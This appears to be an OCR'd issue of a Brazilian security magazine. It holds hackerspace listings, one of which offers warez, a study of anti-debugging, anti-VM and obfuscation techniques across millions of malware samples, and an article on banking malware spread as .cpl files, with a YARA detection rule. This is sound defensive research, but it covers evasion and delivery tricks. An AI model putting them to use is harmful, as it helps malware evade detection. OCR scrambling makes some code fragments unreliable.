projetos de tecnologia, cultura e educacéao digi-
tal.. Em breve novas atividades.

Area3

HACKERSPACE
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V Hacker Clube

isando criar um Hackerspace diferencia-
Vdo, verdadeiramente anarquista, revolu-

cionario, transgressor, libertario e subver-
sivo, sem regras, sem membros pagantes, sem
restricdes artificiais e disponivel 24 horas (na
medida do possivel), Igor Isaias Banlian cedeu
a garagem de sua casa para a fundacéo do V
Hacker Clube, que sera feita em breve, assim
que tal espaco esteja devidamente preparado
para receber um Hackerspace.

Midia:

Blog: www.vhackerclube.tk (Em construgcao!)
Foérum: www.vhackerclube.tk/forum (Em con-
strucao!)

Wiki: www.vhackerclube.tk/w (Em construcao!)

Local:

Rua Brasiluso Lopes, 154A
Bairro: Jardim Peri

POR V HACKER CLUBE

FONTE: V HACKER CLUBE

Cep.: 02634-020
Sao Paulo / SP

O local fica na Zona Norte de Sao Paulo 40 a
50 minutos de 6nibus da estacédo Santana do
Metrd, ou a 25 a 30 minutos de carro, vindo da
mesma estacao).

Obs.: O V Hacker Clube ainda ndo opera em tal
espaco fisico devido ao referido espago ainda
n&o estar pronto para receber 0s visitantes.

Contatos:

E-mail: vhackerclube @gmail.com

Telefone: (+55 11) 2231-9758

Administrador e fundador: Igor Isaias Banlian
(igorisaiasbanlian @gmail.com)

Servicos que oferecera, totalmente gratui-
tos:



Uso de ferramentas profissionais, como Dremel
(mini retifica), estacdo de solda, alicates, multi-
metro digital da Minipa, chaves de fenda, philips,
de boca, allen, chaves estrela para abrir celula-
res, furadeira, parafusadeira, fontes de banca-
da, dentre outras ferramentas (desde que tais
ferramentas nao sejam roubadas);

Disponibilidade de placas de prototipagem ele-
trénica para serem utilizadas no local, tais como
Arduinos, LaunchPad MSP430, Raspberry Pi,
etc. (desde que tais placas nao sejam rouba-
das);

PCs para acesso livre e irrestrito a Internet (des-
de que tais PCs nao sejam roubados);

Internet Vivo Speedy com Wi-Fi, de 4 Megas, de
graca, para ser utilizada no local, com rede Wi-
Fi sem senha e sem guardar logs;

Treinamento em qualquer coisa referente a In-
formatica e Eletrénica que vocé nao saiba e
queira vir aqui tirar suas davidas e perguntar a
respeito, um tipo de “fale pessoalmente com o
técnico”, também totalmente gratuito;

Exposicao de robés, sendo atualmente um robd
humanoide de +- 40cm (de aluminio anodizado
preto, com 17 servomotores), um robd seguidor
de linhas com Arduino, e um BeetleBot, podendo
participar no desenvolvimento / melhoramento
dos mesmos, caso queira;

Hospedagem de projetos Web de graca, sites,
foruns, blogs, wikis, redes sociais, enfim, o que
vocé quiser, de forma ilimitada, com a qualidade
do HostGator;

Dentre outras atividades planejadas (ver abaixo),
eventos e projetos, sempre totalmente gratuitos.

Atividades planejadas:

Instalacdo gratuita de Softwares Livres e Open
Source;

Debates sobre movimentos sociais, politicos e

UM
HACKERSPACE
DIFERENCIADO,
VERDADEIRAMENTE
ANARQUISTA,
REVOLUCIONARIO,
TRANSGRESSOR,
LIBERTARIO E
SUBVERSIVO, SEM
REGRAS, SEM
MEMBROS PAGANTES,
SEM RESTRICOES
ARTIFICIAIS E
DISPONIVEL 24
HORAS"

ideolbgicos (sem censura);
Disponibilizacéo de softwares (Warez);
Reduto onde se pratica o Kopimismo;

Debates sobre o Partido Pirata e a pirataria na
politica;

Organizacédo de passeatas, protestos e movi-
mentos pelas ruas de Sao Paulo;

Disponibilizacdo de infraestrutura para movi-
mentos de midia independente.
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Garoa Hacker Clube

POR GAROA HACKER CLUBE

GAROA
HACKER

Garoa Hacker Clube é o primeiro hack-
Oerspace brasileiro, em funcionamento

em Sao Paulo desde Agosto de 2010.
O Garoa é um laborat6rio comunitario, aberto
e colaborativo, que proporciona a infraestrutura
necessaria para que entusiastas de tecnologia
possam trocar conhecimento e experiéncias,
um local onde pessoas podem se encontrar,
socializar, realizar projetos e atividades em di-
versas areas, como seguranca, hardware, ele-
trdnica, robdtica, espacomodelismo, software,
biologia, musica, artes plasticas ou o que mais a
criatividade permitir.

O Garoa possui um espago permanente e em
constante evolugdo em uma casa no bairro de
Pinheiros, na cidade de Séo Paulo, aberto a to-
dos que o quiserem frequentar. Temos diversos
equipamentos, feramentas e materiais para a
realizacdo de projetos, como uma Impressora
3D, Arduinos, componentes eletrbnicos varia-
dos, ferramentas béasicas de marcenaraia, esta-

CLUBE

IMAGEM DE TONY DE MARCO

¢cbes de solda e de retrabalho, instrumentacéo
eletrbnica (osciloscopios, geradores de fun-
¢ao, multimetros e fontes reguladas), hardware
velho, uma biblioteca e uma ludoteca. Todo o
financiamento provem de contribuicées da co-
munidade, na forma de mensalidades de seus
associados, que sdo membros regulares do Ga-
roa, e também de doagoes.

A Historia do Garora Hacker Clube

Embora muitos dos membros fundadores do
Garoa ja tivessem tido contato anterior com o
conceito de hackerspaces ou outros tipos de
laboratérios coletivos, as primeiras discussdes
sobre a criagdo do espagco comegaram em junho
de 2009, em uma comunidade no Ning, ja desa-
tivada. Esta comunidade serviu para atrair um
grupo heterogéneo de pessoas interessadas.

A primeira divulgacéo publica da idéia de criar
um hackerspace na cidade de Sao Paulo acon-
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"A PRIMEIRA
DIVULGACAO
PUBLICA DA IDEIA
DE CRIAR UM
HACKERSPACE NA
CIDADE DE SAO
PAULO ACONTECEU
NA CAMPUS PARTY
DE 2010”

teceu na Campus Party de 2010, e em julho
deste mesmo ano ocorreu uma primeira reuniao
presencial do grupo que vei a fundar o Garoa.
Em agosto de 2010 criamos um espaco fisico
permanente de 12m?2, em um pequeno poréo da
Casa da Cultura Digital (CCD).

Nesta sede comegamos a organizar eventos
regulares, desenvolvemos Varios projetos in-
dividuais e coletivos, e conseguimos constituir
uma associacdo sem fins lucrativos para dar
apoio administrativo e financeiro para as ativi-
dades do Garoa. O Garoa permaneceu na CCD
até Fevereiro de 2013, quando mudou para uma
nova sede, uma ampla casa em Pinheiros.

Endereco: Rua Costa Carvalho, 567 Fundos.
Pinheiros, S&o Paulo-SP. CEP 05429-130
Inauguracéo: 28 agosto de 2010

Fundacéo: 20 de fevereiro de 2011

Membros: aproximadamente 40 associados
IRC: #garoa em irc.freenode.net

Lista de discussdo: hackerspacesp@google-
groups.com

Twitter: @garoahc

Identi.ca: !garoa

@ -
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SUA MARCANO-~
LUGAR CERTO!

PARA MAIS
INFORMACOES
ENTRE EM COTATO
NO E-MAIL

revista@h2hc.com.br




B Utilizacao de Anti-Engenharia
Reversa por Malware
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Introducao e Objetivos

Ataques a sistemas computacionais causados por
malware € um problema atual [1] [2] [3], de dificil
solucédo [4]. Com o passar do tempo, os malware
estdo cada vez mais desenvolvidos [4] [5] [6] [7]
e dificeis de detectar [4]. Tais fatores, aliados a
grande quantidade (centenas de milhares) de no-
vos malware sendo descobertos diariamente [8],
dificultam a analise do atual cenario.

Analisar o comportamento dos malware atual-
mente ativos pode ajudar a melhorar as protecdes
existentes. Porém, dado o grande nimero de no-
vos malware, tal pesquisa deve ser realizada com
uma quantidade compativel de amostras. Adicio-
nalmente, deve-se utilizar malware atuais.

Este artigo tem por objetivo descrever a utilizagdo
de técnicas de anti-engenharia reversa por mal-
ware, com base em uma pesquisa intitulada “Sci-
entific but Not Academical Overview of Malware
Anti-Debugging, Anti-Disassembly and Anti-VM
Technologies” inicialmente divulgada na BlackHat
2012 Las Vegas (o autor deste artigo também é
um dos autores dessa pesquisa utilizada como
base) [9] [10].

A Secao 2 descreve o Dissect Il PE [11], o projeto
de analise automatizada de malware utilizado na
pesquisa.

A Secao 3 discute a metodologia utilizada para
chegar nos resultados discutidos na Secgéao 4.

Por fim, a Secéo 5 conclui o trabalho e a Se¢éo 6
lista as referéncias utilizadas ao longo deste artigo.
Projeto Dissect Il PE

Dissect Il PE € um projeto gratuito e de “arquitetu-
ra aberta” de uma plataforma completa de analise
automatizada de malware, constantemente
mantida por profissionais da area. O c6digo nao

€ aberto, porém a arquitetura é constantemente
publicada para ajudar pesquisadores a codificar
suas proprias plataformas [72]. Atualmente, so-
mente malware de Windows séo suportados por
tal projeto. A principal ideia por tras do projeto é

POR GABRIEL NEGREIRA BARBOSA

“ESTIMA-SE QUE O
PROJETO TENHA
MAIS DE
30 MILHOES DE
SAMPLES UNICOS EM
SUA BASE DE MAL-
WARE QUE ESTA EM
CONSTANTE
EXPANSAO”

contribuir com a comunidade, provendo:

* Poder computacional e uma atualizada base
de malware para pesquisadores ao redor do
mundo. Uma pesquisa sobre o cenario de mal-
ware (e ndo sobre certos malware especificos)
deve se basear em experimentos com uma quanti-
dade de amostras compativel com as centenas de
milhares de malware descobertos semanalmente.
Porém, tal quantidade de boas amostras e poder
computacional para tal processamento néo estao
disponiveis para a grande maioria dos pesquisa-
dores.

* Pesquisas de qualidade para a comunidade. O
Dissect Il PE possui uma equipe de pesquisadores
que constantemente publica trabalhos em con-
feréncias renomadas [12]. Os resultados de tais
pesquisam visam melhorar as atuais protecdes,
aprimorar a compreensao sobre o atual cenario de
malware, e prover detalhes sobre samples espe-
cificos.

Estima-se que o projeto tenha mais de 30 milhdes
de samples Unicos em sua base de malware que
estad em constante expansdo. Os malware séo ob-
tidos através da troca de samples com parceiros
(pesquisadores renomados e empresas impor-
tantes). A titulo de exemplo, diariamente o projeto
recebe 150 GB de novos malware. O Mapa 1 ilus-




tra a localizag@o geografica dos parceiros atuais:

9 servidores localizados no Brasil, é o responsav-

el pelo processamento das analises
dos malwares. Suas duas caracteristi-
cas principais sao:

+ Escalabilidade: Para aumentar o
poder computacional, basta adicionar
um novo servidor na rede e copiar 0
software de analise. Desta forma,
0 novo servidor ja € detectado pelo
sistema e inicia 0 processamento de
malware.

+ Flexibilidade: Pode-se facilmente
adicionar e remover algoritmos de
analise de malware.

Hap datn €012 Maplink, Tele S - Tems ofUze

Mapa 1-Localizagdo geogréficadosparceirosdoDissect | | PE.
Osmarcadoresné&oindicamaposicdodecadaparceiro, somente
ilustram os paises em que ao menos um parceiro esta presente.

A chave para alcancgar a flexibilidade

O sistema é composto por dois componentes prin-
cipais: front-end e back-end.

Front-End

Este componente, implementado por 1 servidor
localizado na Alemanha, possui diversas fungoes.
Uma delas é realizar a troca de malware com os
parceiros. A medida que novos malware séo rece-
bidos, o front-end também realiza uma pré-classifi-
cacao que, além de coletar dados genéricos como
hashes MD5 e SHA-1, também detecta samples
repetidos para evitar desperdicio de processa-
mento.

ApOs a pré-classificacéo, os malware sédo submeti-
dos a um processo de scheduling para que um
servidor do back-end os analise de fato. O proces-
so de scheduling estd documentado em um artigo
publicado no IEEE Malware 2011 [13].

O front-end também hospeda o site principal do
projeto, onde os resultados das anélises séo divul-
gados a comunidade.

O site pode ser acessado através do enderego
https://www.dissect.pe.

Back-End

Este componente, atualmente implementado por

supracitada sdo os plugins. Um plugin,

no conteto do Dissect Il PE, é qualquer software,
escrito em qualquer linguagem, que realiza algum
processamento no malware.

Desta forma, o trabalho do back-end é basica-
mente executar todos os plugins aplicaveis para
cada malware recebido através do scheduling. A
titulo de exemplo, para a pesquisa apresentada
neste artigo foram escritos diversos plugins para
detectar técnicas de anti-engenharia reversa nos
malware.

Os plugins também permitem que a comunidade
contribua com o projeto: se algum pesquisador
necessitar alguma analise especifica, basta enviar
o(s) plugin(s) ao projeto que 0 mesmo sera exe-
cutado na base de malware e os resultados serdo
disponibilizados.

Por medidas de seguranca, ha diversos controles
para manter a integridade do sistema. Adicional-
mente, como o sistema foi feito para pesquisa-
dores, problemas na execugdo de plugins ndo
produzem falhas no ambiente: nesses casos, 0
pesquisador recebera os logs detalhando o prob-
lema para que 0 mesmo possa ser corrigido.

A plataforma foi concebida para que a escrita de
plugins fosse uma tarefa simples e pudesse ser
realizada sem a necessidade de se estudar APIs
e longos manuais. O mecanismo se baseia em
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enviar ao plugin, via argumentos (“argv”), informa-
¢cbes sobre o malware como por exemplo o camin-
ho completo para o binario. O plugin deve enviar
a saida padrao os resultados do processamento.
Desta forma, o tratamento de plugins € indepen-
dente de linguagem de programacéo.

Atualmente, o sistema suporta plugins escritos em
C e Python. Porém, pode-se, de forma trivial, adi-
cionar suporte a qualquer outra linguagem de pro-
gramacédo. Se algum pesquisador que deseja ex-
ecutar plugins na plataforma necessite de alguma
outra linguagem de programcéo, basta contatar a
equipe do projeto que sé nao sera adicionado su-
porte se isso colocar o sistema em risco. Os codi-
gos 1 e 2 possuem exemplos de plugins.

print “Plugin em Python” - Cddigo 1 — Plugin
escrito em Python cujo resultado capturado pelo
sistema é a string “Plugin em Python”.

#include <stdio.h>
int main(int argc, char **argv) {
printf(“Plugin em C\n”);
return 1;
} - Cbdigo 2 — Plugin escrito em C cujo resultado
capturado pelo sistema é a string “Plugin em C”.

Os plugins podem ser de dois tipos: estaticos e
dinamicos. Os estaticos sao utilizados para analise
estatica, ou seja, sem realizar a execugédo do mal-
ware — por exemplo, a analise do disassembly do
malware. Os dinamicos sao utilizados para analise
dindmica, ou seja, em uma maquina virtual onde
0 malware é executado — por exemplo, deteccéo
de arquivos criados pelo malware. Adicionalmente,
ressalta-se que durante a analise dinamica o
trafego de rede é capturado pelo sistema.

Metodologia

Nesta pesquisa, foram analisados 4.030.945 de
malware provenientes de parceiros com alto grau
de confiabilidade, em uma infra-estrutura com 72
cores e 100 GB de RAM (distribuidos nos 9 ser-
vidores do back-end). Somente foram utilizados
samples PE 32-bit.

O principal foco da pesquisa apresentada por este
artigo é estudar a utilizagdo de técnicas de anti-
engenharia reversa por malware. As categorias de

"UMA ANALISE
ESTATICA TAMBEM
ESTA VULNERAVEL A
PROTECOES
IMPLEMENTADAS NO
MALWARE"

técnicas de anti-engenharia reversa utilizadas na
pesquisa sao:

+ Anti-debugging: Técnicas para comprometer
debuggers e/ou o processo de debugging.

+ Anti-disassembly: Técnicas para comprome-
ter disassemblers e/ou o processo de disassem-
bly.

+ Ofuscacado: Técnicas para dificultar a criagcao
de assinaturas e deixar o cddigo “disassemblado”
mais dificil de ser analisado por um profissional.

« Anti-VM: Técnicas para detectar e/ou comprom-
eter maquinas virtuais.

Esta pesquisa também analisou a utilizagdo de
packers por malware. Com relagdo aos packers,
ressalta-se:

- Samples com packer: Diferentes samples com
0 mesmo packer foram contabilizados como 1 s6
sample. Isso se deve ao fato de que essa pesquisa
nao realizou o “unpacking”, e desta forma analisar
mais de um sample com o mesmo packer implicar-
ia em analisar 0 mesmo c6digo mais de uma vez.
Todos os packers foram analisados e suas carac-
teristicas podem ser encontradas no artigo original
dessa pesquisa [10].

+ Samples sem packer: Evitou-se utilizar sam-
ples maiores que 3,9 MB por motivos de desem-
penho. Porém, alguns samples maiores que esse
tamanho foram analisados, como por exemplo o
malware Flame.

Esta pesquisa utilizou somente analise estética,




principalmente por motivos de desempenho: uma
analise dindmica demanda mais tempo de proces-
samento. Adicionalmente, pelo fato de o malware
ser de fato executado, uma analise dinamica per-
mite que seus mecanismos de seguranca sejam
executados, de forma que a andlise possa ser de-
tectada ocasionando uma interferéncia nos resul-
tados.

Uma andlise estatica também esta vulneravel a
protecdes implementadas nos malware, como por
exemplo técnicas de anti-disassembly. Porém,
como nao ha cédigo em execucéo, certos cuida-
dos podem ser tomados para minimizar os efei-
tos adversos de tais protecbes: numa aborda-
gem estatica, o analista possui vantagem sobre o
malware, diferentemente do que ocorre em uma
andlise dinamica.

Ha determinadas técnicas de anti-engenharia re-
versa que nao podem ser detectadas somente com
andlise estatica: para esses casos, plugins dinami-
cos complementares foram desenvolvidos. Porém,
esta pesquisa ndo executou tal parte dindmica e
tais técnicas nao estédo incluidas nos resultados
por ndo apresentarem resultados assertivos.

Determinados plugins presente no sistema néo
sdo capazes de, para todos os casos, chegar a um
resultado deterministico quanto a detecgéo ou nao
da técnica de anti-engenharia reversa que procura:
alguns algoritmos desenvolvidos podem encontrar
apenas algumas evidéncias que nao sao fortes
o suficiente para considerar determinada técnica
como detectada ou ndo. Esses casos néo estéo
incluidos nos resultados desta pesquisa.

Foi desenvolvido e utilizado nessa pesquisa um
framework para analise de disassembly, para:

+ Simplificar o desenvolvimento de plugins de
analises sobre disassembly de malware.

+ Otimizar a execucéo dos plugins, pois 0 malware
€ submetido ao processo de disassembly somente
uma vez e todos os plugins utilizando o framework
compartilham o resultado.

Ressalta-se ainda que as analises feitas nessa
pesquisa se baseiam somente nas secbes dos
binarios PE 32-bit que sdo executaveis e que o en-
trypoint esta presente (mesmo que tal secao nao

seja executavel). Essa abordagem reduz a proba-
bilidade de se analisar dados como sendo codigo
e otimiza o tempo de analise. Secdes ndo execu-
taveis, mesmo que referenciadas por secoes anal-
isadas, nao foram analisadas: futuras pesquisas
cobrirdo esta lacuna.

Antes de ir para producéo, cada plugin é executa-
do contra um conjunto pré-estabelecido de 883
malware. Esse processo foi utilizado para detectar
bugs, testar o desempenho e validar a detecgéo
de técnicas de anti-engenharia reversa.

As técnicas de anti-engenharia reversa utilizadas
nesse trabalho foram selecionadas das seguintes
fontes:

* Artigos estado-da-arte.

* Malware que sédo encontrados atualmente em
sistemas computacionais.

Resultados e Discussao
Todos os malwares da pesquisa (4.030.945) foram

submetidos a algoritmos de detec¢éo de packers e
0s resultados estédo exibidos no Grafico 1.

Grafico 1 - Presenca de packers.

Percebe-se que a maioria dos malware analisa-
dos néo utilizam packers. Esse dado pode ser um
indicativo de que deteccéo de packers, de forma
isolada, pode ndo ser uma opgéao eficiente para
detectar malware. Todavia, em ambientes corpo-
rativos onde as aplicacdes usualmente nao uti-
lizam packers, essa op¢ao poderia ser utilizada
para complementar as solucbes de seguranca ex-
istentes.
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O Grafico 2 ilustra as familias de packers mais prevalentes nos malware analisados.

Top 10 Packers

Others h 3,78
MaskPEV20yzkzero 0,24
WiselnstallerStub 0,25
ASProtect 0,30
ProtectSharewareV1leCompservCMS [ 0,81
ASPack I 1,08

BobSoftMiniDelphiBoBBobSoft fI 1,12

PECompact
Armadillo
UPX

unknown/none

O Gréfico 2 ilustra as familias de packers mais prevalentes nos malware
analisados.

Das familias detectadas, nota-se que UPX e Armadillo representam a grande maioria.

Dentre os malware utilizados nesta pesquisa, encontram-se amostras que estdo atacando as redes de
bancos brasileiros. O Grafico 3 ilustra a utilizacdo de packers por esses malware.

Pode-se notar que, diferentemente do contexto
global, mais da metade desses malware utilizam
packers.

Esses numeros podem indicar que, a fim de
complementar outras solugcbes de seguranca, de-
teccao de packers pode ser uma técnica eficiente
para bancos brasileiros. Aplica¢des legitimas que
utilizam packers podem ser simplesmente adicio-
nadas a uma whitelist, reduzindo falso-positivos.

Deste ponto em diante, os gréficos levam em
consideracdo somente os malware sem packer.
De acordo com o Gréfico 1, 65,21% dos malware

- EEESEEEN——————— nao possuem packer. Logo, a amostra analisada
ClrljleleRe RV N CNeE T CIEN T NEICHCIEE nos seguintes graficos é de aproximadamente
estdo atacando redes de bancos brasileiros. 2.628.579 malware.

CONVISO

NAPPLICATION SECURITY

Apenas identificar falhas nao é suficiente! —
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Esta pesquisa, que analisou técnicas de anti-engenharia reversa presentes em malware, pode ser suma-
rizada pelo Grafico 4.

Unprotected

11,04% I

Gréfico 4 — Malware em que foi detectada ao
menos 1 técnica de anti-engenharia reversa.

Anti-Disassembly

Gréfico 5 — Categorias de técnicas de anti-engenharia reversa.

O Grafico 4 diz que em 88,96% dos malware anali-
sados foram encontrados ao menos 1 técnica de
anti-engenharia reversa. Tal cifra pode ser um
forte indicio de que, somente detectando técni-
cas de anti-engenharia reversa, pode-se detectar
a grande maioria dos malware. Como ambientes
corporativos possuem (ou deveriam possuir) con-
trole sobre as solugdes de software presentes, os
casos em que alguma técnica de anti-engenharia
reversa esteja presente poderiam ser adicionados
a uma whitelist a fim de reduzir falso-positivos.

O Grafico 5 mostra a prevaléncia das categorias
de técnicas de anti-engenharia reversa nos mal-
ware analisados.

Como pode ser observado, as duas categorias mais prevalentes sao, respectivamente, anti-VM e ofus-
cacao. Os gréficos 6, 7, 8 e 9 mostram, para cada categoria, as técnicas de anti-engenharia reversa
mais prevalentes. Explicacdes sobre cada técnica podem ser encontradas no trabalho base desse ar-
tigo [10] e codigos prova de conceito podem ser encontrados no endereco: https:/github.com/rrbranco/

blackhat2012.
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Anti-Disassembly

Gréfico 6 — Técnicas de an-
ti-disassembly mais preva-
lentes.

Fake Jump - XOR 39,08%

Fake Jump - STC/CLC 71,60%

Anti-Hook
Header Entrypoint
Heap Flags

Hardware Breakpoint
Gréfico 7 — Técnicas de
anti-debugging mais preva-
lentes

SoftICE Int 1 15,63%

PEB NtGlobalFlag 17,39%

Software Breakpoint 28,56%
SSregister

ggerPresent PEB BeingDebugged

Obfuscation

Function Call Obfuscation

Grafico 8 — Téecnicas de
ofuscacdo mais prevalen-
tes.

Stealth Import Win API

PEB->Ldr Address Resolving

NOP Sequence 13,83%
Push Pop Math

Instruction Substitution (Push Ret)

VPC Invalid Opcode

Gréfico 9 — Técnicas de an-

19,91% . .
ti-VM mais prevalentes.

37,17%
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Adicionalmente, ressalta-se que foram encontra-
dos malware com mais de uma técnica de anti-en-
genharia reversa. Logo, as porcentagens exibidas
em graficos relativos a técnicas de anti-engenharia
reversa e suas categorias, se somadas, totalizam
mais de 100%.

Conclusoes

Esta pesquisa mostra que, dos milhdes de mal-
ware analisados, 88,96% possuem ao menos uma
técnica de anti-engenharia reversa implementada.
Tendo em vista a quantidade e a qualidade dos
malware analisados, tal dado é um forte indicio de
que a maioriados malware atuais estéo utilizando
técnicas de anti-engenharia reversa.

Determinar se um dado software é um virus € um
problema indecidivel [14]. Porém, essa pesquisa
mostrou um forte indicio de uma caracteristica pre-
sente nos malware que &€ incomum em solucdes
de software corporativas — e quando presentes po-
dem ser adicionadas a whitelists.

Desta forma, este trabalho mostra fortes indicios
de que a maioria dos malware podem ser de-
tectados através da deteccao de técnicas de anti-
engenharia reversa. Ressalta-se que nao se esta
violando a indecidibilidade citada anteriormente, e
sim explorando uma “assinatura” genérica inserida
nos malware por seus autores.

Conclui-se também que analisar o atual compor-
tamento e caracteristicas dos malware pode con-
tribuir com as atuais protecbes. Porém, devido a
grande quantidade de malwares, tal tipo de estudo
pode ser viabilizado por sistemas de andlise au-
tomatizada de malware como o Projeto Dissect I
PE.
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s criadores de malware com frequéncia
Obuscam novas formas de fazer com que
suas criacbes evadam das deteccbes de
solucbes de seguranca. A aposta dos cibercrim-
inosos € que as ameacgas nao sejam pegas por

deteccdes heuristicas, genéricas ou relacionais.

Prova disto é a técnica de assinar malware com
certificado digital valido roubado, ja que varios
softwares de protecao checam se o binario esta
assinado e, se positivo e com certificado verda-
deiro, o dispensa dos scannings adicionais, base-
ando-se somente no que conhecemos por pattern
tradicional, ou checagem de hash.

A deteccéo tradicional nunca foi um problema para
as novas amecas, justamente porque o fato de
serem novas as coloca numa posicédo de nunca
vistas pela industria de seguranca. O desafio é fu-
rar a deteccéo adicional.

Sabemos que no sistemas Windows a quantidade
de extensbes de arquivos que podem executar
mediante um duplo clique ndo é pequena, talvez
sequer totalmente documentada. Nao importa se

sé@o os famigerados .exe ou os old-school .bat e
.scr, todos funcionam em versdes do Windows

"MAS QUE P*#®%
E ESSA DE .CPLY”
E ENQUANTO A

DUVIDA PAIRAVA,

OS BANKERS,

ESSENCIALMENTE
OS BRASILEIROS,
NADAVAM EM
INFECCOES BEM

SUCEDIDAS.”

POR FERNANDO MERCES

recentes, seja compatibilidade (leia-se, heranca
desagradavel do MS-DOS) ou por algum motivo
oculto que minha mente n&o consegue imaginar.

Mas quando tudo parece calmo, comeca a surgir
no Brasil uma enxurrada de e-mails falando sobre
NF-e (Nota Fiscal Eletronica), boletos de cobran-
ca, SERASA, SPC e afins, com links para arquivos
comprimidos contendo estranhos arquivos com
extensao .cpl.

A primeira vez que vi um arquivo .cpl foi na década
de 90, apos instalar o Windows 95 no meu mod-
erno AMD K5-100. Lembro que havia uma relagédo
de um para um entre os arquivos .cpl na pasta C:\
Windows\System. Eu sei que vocé lembra:

1 Painel de Controle
Arquivo  Editar  Exibir  Ajuda

S m =

Adicionar i Fontes
NovoH... Coreio d... Regionais

& & O

Impressoras Intemet Mail

¥ §
LTS

Multimidia Senhas

peseeen)

=

Teclado

| Configura programas e cria atalhos.

Pois bem, ao dar um duplo clique neste bonito
icone “Joystick”, na realidade era aberto o0 arquivo
C:\Windows\System32\Joy.cpl. Mas o que é, afi-
nal, um arquivo .cpl?

Estruturalmente falando, um arquivo .cpl € uma
dll. A libmagic por exemplo, biblioteca na qual o
programa file do Linux se baseia, ndo faz distin-
céo. Veja:

$ file depends.dll

depends.dll: PE32 executable (DLL) (GUI) Intel
80386, for MS Windows




$ file Convite.cpl

Convite.cpl: PE32 executable (DLL) (GUI) Intel
80386, for MS Windows

Usando o readpe [1] é possivel notar uma carac-
teristica bem peculiar dos arquivo .cpl, que € a pre-
senca de uma fungao CPLApplet() na EAT:

$ readpe --exports Convite.cpl
Exported functions
0: CplApplet

De fato, o .cpl néo passa de uma DLL. A grande
questao é que o Windows o trata de uma maneira
um pouco diferente: Enquanto dar um duplo-clique
numa DLL é indtil, pois ela precisa ser carregada
por algum processo, um duplo-clique num arquivo
.cpl ja chama o rundl32.exe, que o carrega auto-
maticamente.

Essa vantagem que o Windows da faz do arquivo
.cpl praticamente um arquivo .exe, ja que ambos
sao binarios PE e ambos executam com um duplo
clique.

Apbs tantos anos esquecidos, alguém lembrou
que mesmo o Windows 7 ainda executa arquivos
deste tipo e comecgou a criar malwares neste for-
mato.

O resultado? Mesmo usuarios experientes descon-
heciam ou nao lembravam e a ficha demorou a
cair.

Havia profissionais da area de seguranca se per-
guntando “Mas que p*#@% é essa de .cpl?”’ e
enquanto a duvida pairava, os bankers, essencial-
mente os brasileiros, nadavam em infec¢des bem
sucedidas.

MAS E AS SOLUGOES DE SEGURANGCA?

Como o Windows é fortemente atrelado a exten-
sa0, nada mais justo que uma solug¢ao de antivirus
para Windows também confiar nela. Sendo assim,
uma série de antivirus ndo escaneia os arquivos
.cpl com as detec¢bes adicionais.

Uma série de proxies também nao bloqueavam
URLs terminando em .cpl. Uma série de usuarios
nao desconfiaram quando viram um .cpl num com-
partilhamento de rede. Pense no preco pago por
esta desinformacao.

E COMO SE PROTEGER?

Varios pesquisadores identificaram a necessidade
de protecao contra esta “nova” técnica. Apés aval-
iar pouco mais de 2.000 malwares neste formato
aos quais tive acesso, dividi-os grupos conside-
rando os packers utilizados. Séo eles:

. MPRESS

. PECompact
. UPX

. Sem packer

Analisando a estrutura dos arquivos, meu objetivo
era identificar caracteristicas comuns entre exem-
plares de cada grupo para alimentar uma pesquisa
que pudesse culminar na cria¢gdo de uma deteccéo
heuristica/genérica. Vejamos o cabecalho DOS de
um exemplar sem packer:

$ readpe --header dos FacebookComents.cpl

DOS Header

Magic number: Ox5a4d (M2)
Bytes in last page: 80

Pages in file: 2

Relocations: 0

Size of header in paragraphs: 4
Minimum extra paragraphs: 15
Maximum extra paragraphs: 65535
Initial (relative) SS value: 0

Initial SP value: Oxb8

Initial IP value: 0

Initial (relative) CS value: 0

Address of relocation table:  0x40
Overlay number: Ox1a

OEM identifier: 0

OEM information: 0

PE header offset: 0x100

Se vocé estranhou eu falar em cabecalho DOS a
esta altura do campeonato, saiba que todo arquivo
PE32 possui um programa para MS-DOS, de 16-
bits em seu inicio, com instru¢des diretas em As-
sembly, assim como os antigos programas COM,
que alias, também funcionam nos Windows atuais,
permitindo assim armas como facebook.com.
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DUVIDA?

S hd -n 256 FacebookComents.
00000000 4d 5a 50 00 02 00
00000010 b8 00 00 00 00 00
00000020 00 00 00 00 00 00
00000030 00 00 00 00 00 00
00000040 ba 10 00 Oe 1f b4
00000050 54 68 69 73 20 70
00000060 74 20 62 65 20 72
00000070 69 6e 33 32 0d 0a Z
00000080 00 00 00 00 00 00

Fica o desafio pra vocé disassemblar e descobrir
0 que este “mini-programa” faz. Dica: ele comeca
em 0x40.

Voltando ao assunto principal, a estrutura desse
e de outros cabecalhos foi comparada as dos de-
mais arquivos com o seguinte script em bash:

| This program mus|
|t be run under W|

done | sort | uniq -cd | grep -E “ +$#.*:”

Dessa forma foi possivel entender, estaticamente,
0 que era idéntico nestes arquivos .cpl, mas nao
bastava parar por ai, porque ainda ha arquivos
deste tipo no proprio Windows! Sendo assim, foi
preciso excluir deste resultado o que também esta

presente nos arquivos do Windows (usei o Win-
dows 7 em Portugués como exemplo). Mesmo
excluindo as coincidéncias com arquivos .cpl néo
maliciosos, ainda sobrou um grupo grande de car-
acteristicas comuns, dentre elas:

#l/bin/bash
echo looking for common things in $# files...
foriin “$@”; do

readpe “$i” 2>&-

RODRIGUES
GONCALVES

advogados associados

Av. Angélica, 2632, Cj. 64 - Sao Paulo
Telefone +55 (11) 3259-3267
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Ha 10 anos atras iniciava-se uma sociedade de advogados com um unico
intuito: promover os melhores servigos juridicos. Ao longo desses anos
conquistamos nosso espago com o apoio e 0 reconhecimento de clientes e
amigos, sem 0s quais seria impossivel chegar até este momento.




+ O timestamp € fixo em 708992537 ou maior que
1362009600

+ O Linker Major Version é 2

+ O Linker Minor Version é 25

*Ha 80 bytes na ultima pagina

*Ha 2 paginas no arquivo

*Exportam a fungéo CPIApplet()

+As caraceristicas COFF sao Oxa18e
*O valor inicial do registrador SP é 0xb8
Com afirmagbes do tipo, € possivel criar regras
personalizadas em seus sistemas de seguranca
para detectar tais arquivos. Um exemplo é uma
regra do yara [2]:

rule cpl : banker

{
strings:
$a = “CPIApplet” fullword

condition:

$a and

// timestamp

(uint32(0x108) == 708992537  or
uint32(0x108) > 1362009600) and

// coff characteristics

uint16(0x116) == Oxa18e

}

Nem cheguei a por todas as regras e o resultado
foi impressionante: 100% dos malwares detecta-
dos, 0% de falsos positivos com os .cpl do Win-
dows.

Conclusao

Estou certo de que mais pesquisa é necessaria,
mas também estou certo de que os administra-
dores de sistemas e analistas de seguranca nao
devem esperar pela industria para resolver seus
problemas. Ao contrario, devem ser pré-ativos de
